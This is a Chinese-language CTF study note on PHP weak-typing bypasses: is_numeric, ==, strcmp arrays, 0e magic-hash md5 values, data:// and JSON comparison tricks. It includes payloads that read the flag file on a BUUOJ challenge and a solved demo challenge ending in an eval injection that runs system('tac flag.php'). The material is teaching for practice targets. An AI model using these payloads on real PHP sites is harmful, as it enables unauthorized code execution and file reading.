is_numeric函数的绕过
- 1.利用数组+十六进制来进行绕过,j[]=58B
- 2.空字符%00绕过,is_numeric对%00和放在后面的%20的判断是非数值
- 3.php中当一个其他数据类型和数值类型的数据比较大小时,会先将其他数据类型转换成数值类型,这里输入类似9999a数据也可绕过
val()函数和dumpfile()
$("#content").val() 是什么意思:
获取id为content的HTML标签元素的值,是JQuery, ("#content")相当于document.getElementById("content");
("#content").val()相当于 document.getElementById("content").value;
例:[RoarCTF 2019]Easy Calc
num传递字母会被waf拦截
payload:http://node3.buuoj.cn:29279/calc.php?%20num=var_dump(scandir(chr(47)))扫描目录
在num前加一个空格符来绕过waf拦截
原因:假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
同理查看该文件内容
payload:http://node3.buuoj.cn:29279/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
两种等号
php中有两种比较的符号 == 与 ===
- == 在进行比较的时候,会先将字符串类型转化成相同,再比较
- === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,所以要是有is_numeric判断直接加个字母就行
strcmp漏洞绕过
strcmp是比较两个字符串,如果str1<str2 则返回<0 如果str1大于str2返回>0 如果两者相等 返回0
假如不知道$password的值的,题目要求strcmp判断的接受的值和$password必需相等,strcmp传入的期望类型是字符串类型,那就传入一个数组类型,传入 password[]=xxx 可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等
md5绕过(Hash比较缺陷)
0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。md5('240610708') == md5('QNKCDZO')
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
file_get_contents
这个函数是从文件读取内容到字符串,就可以利用data协议绕过,将指定字符串写入,而data://协议允许读入,payload:
传入的变量=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=(base64编码)
文件包含和filter伪协议见之前文章
JSON绕过
输入一个json类型的字符串,json_decode函数解密成一个数组,判断数组中key的值是否等于 $key的值,但是$key的值我们不知道,但是可以利用0=="admin"这种形式绕过
message={"key":0}
最后拿一个韦神学长出的题来来演示一下
<?php
error_reporting(0);
highlight_file(__FILE__);
include "passwd.php";
if(isset($_GET['L1'])) {
$L1 = $_GET['L1'];
echo "Here is level1.<br />";
is_numeric($L1) ? die("nonono!") : NULL;
if ($L1 > 2021) {
echo "Congratulations,You pass the level1!<br />";
echo "Here is level2.<br />";
if(isset($_GET['L2']))
$L2=$_GET['L2'];
if (strlen($L2) <= 3 && $L2 > 20000) {
echo "Congratulations,You pass the level2!<br />";
echo "Here is level3.<br />";
if (isset($_GET['L3']))
$md5_1 = md5('QNKCDZO');
$md5_2 = md5($_GET['L3']);
if ($md5_1 == $md5_2) {
echo "Congratulations,You pass the level3!<br />";
echo "Here is level 4.<br />";
if (isset($_GET['L4']))
$level_4 = $_GET['L4'];
// You can't know my password
if (strcmp($level_4, $level_4_password) == 0) {
echo "Password is right,You pass the level4!<br />";
echo "Here is level5.<br />";
if (isset($_POST['L5'])) {
$level_5 = $_POST['L5'];
eval("print_r($level_5);");
}
} else {
die("Sorry, you didn't pass the level4!");
}
} else {
die("Sorry, you didn't pass the level3!");
}
} else {
die("Sorry, you didn't pass the level2!");
}
}
else {
die("Sorry, you didn't pass the level1!");
}
}
Level1是is_numeric函数判断L1不能是数字且大于2021,那就加个字母,L1=99999a
Level2要求L2长度不能大于3且大于20000.那就科学计数法,直接L2=9e9
Level3是判断L3和”QNKCDZO“的MD5是否相等,但是没有说不能一样啊,直接L3=QNKCDZO
Level4判断了L4和L4_Password,这里是strcmp的漏洞,直接L4[]=a绕过
Level5是将POST传入的L5命令执行并输出,那就L5=system("tac flag.php")
补充:
1、PHP的字符串解析特性是什么?
答: PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】
2、发现过滤怎么办?
答:用char()转ascii再进行拼接
3、字符串要求一定大小又限制了长度?科学计数法 9e9干上去!!!